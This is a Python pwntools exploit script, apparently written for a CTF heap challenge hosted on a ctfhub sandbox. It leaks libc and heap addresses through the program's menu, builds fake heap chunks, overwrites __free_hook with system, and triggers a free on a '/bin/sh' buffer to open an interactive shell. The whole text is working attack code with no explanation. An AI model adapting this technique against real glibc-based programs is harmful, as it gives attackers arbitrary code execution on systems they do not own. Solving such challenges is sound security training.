1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
|
from LibcSearcher import * from pwn import * debug = 2 context(arch="amd64", endian='el', os="linux")
if debug == 1: p = process('./chall') else: p = remote('challenge-44f02604bacb251b.sandbox.ctfhub.com', 33314) def add(name_len, name_content, price_content): p.sendlineafter('>>> ', '1') p.sendlineafter('Name length: ', str(name_len)) p.sendlineafter('Name: ', name_content) p.sendlineafter('Price: ', str(price_content)) def edit(comment_idx, comment_content=None, score_content=None): p.sendlineafter('>>> ', '2') p.sendlineafter('Index: ', str(comment_idx)) if not comment_content: return p.sendafter(' : ', comment_content) p.sendlineafter('And its score: ', str(score_content)) def delete(delete_idx): p.sendlineafter('>>> ', '3') p.sendlineafter('index: ', str(delete_idx)) p.recvuntil('Comment ') def rename(rename_idx, rename_fakeaddr, rename_address): p.sendlineafter('>>> ', '4') p.sendlineafter('Give me an index: ', str(rename_idx)) p.send(rename_fakeaddr) p.sendlineafter('Wanna get more power?(y/n)', 'y') p.sendlineafter('Give me serial: ', 'e4SyD1C!') p.sendlineafter('Hey Pwner\n', rename_address)
add(0x8c, 'a', 0) add(0x20, 'b', 1) delete(0) edit(1, 'aaaa', 1) delete(1) addr___malloc_hook = u32(p.recv(8)[4:]) - 0x48 libc = LibcSearcher('__malloc_hook', addr___malloc_hook) libcbase = addr___malloc_hook - libc.dump('__malloc_hook') addr___free_hook = libcbase + libc.dump('__free_hook') addr_system = libcbase + libc.dump('system')
add(0x20, 'a', 0) add(0x88, 'a', '1') delete(0) add(0x1f0, 'a', 2) add(0x20, 'a', 3) delete(1) delete(0) edit(2, 'aaaa', 2) delete(2) addr_heap = u32(p.recv(8)[4:]) - 0x118
pd = 'a' * 0xf8 pd += p32(0) + p32(0xf9) pd += p32(0) + p32(addr___free_hook) pd += p32(0) + p32(0xe9) pd += p32(0) + p32(addr___free_hook) pd += '\x00' * 0xdb add(0x1f4, pd, 0) add(0x20, 'a', 1) pd = 'a' * 0x10 pd += p32(0) + p32(0xb9) pd += p32(addr_heap + 0x70) + p32(addr_heap + 0x74) pd += '\x00' * 0xc + p32(addr_heap + 0x60) add(0x88, pd, 2) delete(1) add(0x24, 'a' * 0x20 + p32(0xb8), 1) delete(0)
pd = 'b' * 0x70 pd += p32(0) + p32(0x11) pd += p32(0) + p32(addr_heap + 8) pd += p32(0) + p32(0x11) pd += p32(0) + p32(addr_heap + 0x100) pd += p32(0) + p32(0x21) pd += '/bin/sh' add(0x1b0, pd, 0) delete(2)
rename(1, p32(addr_heap + 0xf0) + p32(addr_heap + 0x220), p32(addr_system)) p.recv()
success('addr___malloc_hook = ' + hex(addr___malloc_hook)) success('addr_system = ' + hex(addr_system)) success('addr_heap = ' + hex(addr_heap)) success('addr___free_hook = ' + hex(addr___free_hook)) p.interactive()
|